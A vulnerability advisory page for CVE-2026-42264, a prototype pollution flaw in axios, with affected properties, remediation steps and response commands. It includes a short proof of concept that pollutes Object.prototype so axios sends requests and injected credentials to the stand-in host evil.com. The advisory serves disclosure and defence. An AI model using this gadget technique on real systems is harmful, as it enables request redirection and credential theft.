Categories
CVE-2026-42264 high CVSS 7.4

Vulnerability in axios (CVE-2026-42264)

Summary

Vulnerability in axios (CVE-2026-42264). Confidential information can be exposed externally. Exploitable via hasOwnProperty. Mitigation: upgrade to 1.15.2 or later.

Original description

The description as published by the source.

Summary

Five config properties in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request.

Affected Properties

  1. config.auth (lib/adapters/http.js line 617) Injects attacker-controlled Authorization header on all requests.
  2. config.baseURL (lib/helpers/resolveConfig.js line 18) Redirects all requests using relative URLs to an attacker-controlled server.
  3. config.socketPath (lib/adapters/http.js line 669) Redirects requests to internal Unix sockets (e.g. Docker daemon).
  4. config.beforeRedirect (lib/adapters/http.js line 698) Executes attacker-supplied callback during HTTP redirects.
  5. config.insecureHTTPParser (lib/adapters/http.js line 712) Enables Node.js insecure HTTP parser on all requests.

Proof of Concept

const axios = require('axios');

// Prototype pollution from a vulnerable dependency in the same process
Object.prototype.auth = { username: 'attacker', password: 'exfil' };
Object.prototype.baseURL = 'https://evil.com';

await axios.get('/api/users');
// Request is sent to: https://evil.com/api/users
// With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw=
// Attacker receives both the request and injected credentials

Impact

  • **Credential injecti…

Source: NIST National Vulnerability Database NVD GitHub Advisory

Auto-generated summary

Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.

A vulnerability tracked as CVE-2026-42264 has been found in axios.
Attackers can target a specific entry point like hasOwnProperty over the network to misuse the product.
Confidential information can be exposed externally. CVSS score: 7.4/10.
What to do: upgrade axios to 1.15.2 or later.
If unsure, ask your IT team or search "axios CVE-2026-42264" on the vendor's site.

CVE-2026-42264 (axios) — CWE-1321 / CVSS v3 7.4
Attack vector: remote (network-reachable) / unauthenticated / no user interaction
Attack surface: hasOwnProperty / Object.prototype / config.auth / Authorization
Patched: 1.15.2 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.

❓ What is the problem

A vulnerability (CWE-1321) exists in axios. Attackers reach the vulnerable code path via hasOwnProperty without authentication.

📍 Affected scope

Check the vendor advisory for the affected versions of axios. Attack surface: hasOwnProperty / Object.prototype / config.auth / Authorization.

🔥 Severity

Severity: High (CVSS 7.4/10). Confidential information can be exposed externally.

🔧 How to fix

Update to 1.15.2.

🛡️ Workaround

Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.

🔍 Detection

Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'axios' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.

Response actions

Concrete steps and command examples for SOC/SRE teams to execute in order

  1. 1
    Identify exposure identify
    grep -r 'axios' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で axios を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    Apply patch patch
    Upgrade axios to 1.15.2

    ステージング環境で 1.15.2 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。

  3. 3
    Post-deployment verification verify
    Confirm patched version is live in production

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。

Affected packages

npm axios
[{"type":"SEMVER","events":[{"introduced":"1.0.0"},{"fixed":"1.15.2"}]}]

Fix status by distribution

Fixed packages published by each distribution for this CVE

References

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